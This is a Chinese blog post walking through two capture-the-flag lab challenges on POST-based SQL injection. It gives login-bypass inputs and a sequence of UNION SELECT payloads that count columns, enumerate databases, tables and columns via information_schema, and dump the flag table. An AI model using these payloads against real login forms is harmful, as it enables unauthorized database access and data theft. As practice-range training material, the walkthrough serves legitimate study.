SQL注入——POST类型

SQL注入——POST类型

靶场地址
原理:
POST注入就是利用post传参,用户提交数据与数据库进行交互,从数据库中提取有用的信息

第一题:

我们首先查看源码
在这里插入图片描述它直接去运行了代码,没有做任何的处理,因此,我们只需要闭合username的前面的代码,再把后面代码注释掉就可以实现数据交互

我在账号框框里输入

' or 1=1 #

在这里插入图片描述在这里插入图片描述
直接显示
在这里插入图片描述于是,我先来判断字段数
依次输入代码

'union select 1#

'union select 1,2#

'union select 1,2,3#

发现只有第三个才显示登陆成功
在这里插入图片描述于是,判断字段数有3个

接着,我们用database()查询数据库名:输入代码
同样依次输入

'union select 1,2,database() limit 0,1 #

'union select 1,2,database() limit 9,1 #

在这里插入图片描述error
head_error
information_schema
kanwolongxia
mysql
performance_schema
post_error
sys
widechar

查询到数据库,post_error,判断flag可能在这里面

于是继续输入代码

'union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1 #

在这里插入图片描述找到flag

继续查表名:
输入代码

'union select 1,2,column_name from information_schema.columns where table_name='flag' limit 0,1 #

'union select 1,2,column_name from information_schema.columns where table_name='flag' limit 1,1 #

'union select 1,2,column_name from information_schema.columns where table_name='flag' limit 2,1 #

在这里插入图片描述发现它有两个列名:
flag
id
于是找到flag、
直接查询flag数据
输入代码

' union select 1,2,group_concat(flag) from flag#

在这里插入图片描述于是得到flag

第二题

方法相同,但是它的源代码不同
在这里插入图片描述我们需要用

”) or 1=1 #

在这里插入图片描述登陆成功,有post注入漏洞
于是,我先来判断字段数
依次输入代码

") union select 1#

")union select 1,2#

") union select 1,2,3#

判断字段数有3个
接着,我们用database()查询数据库名:输入代码
同样依次输入

")union select 1,2,database() limit 0,1 #

")union select 1,2,database() limit 9,1 #

在这里插入图片描述error
head_error
information_schema
kanwolongxia
mysql
performance_schema
post_error
sys
widechar
查询到数据库,post_error,判断flag可能在这里面

于是继续输入代码

") union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1 #

发现它有两个列名:
flag
id
于是找到flag、
直接查询flag数据
输入代码

") union select 1,2,group_concat(flag) from flag#

于是得到flag
第二题完

猜你喜欢

转载自blog.csdn.net/weixin_43264067/article/details/106073519
今日推荐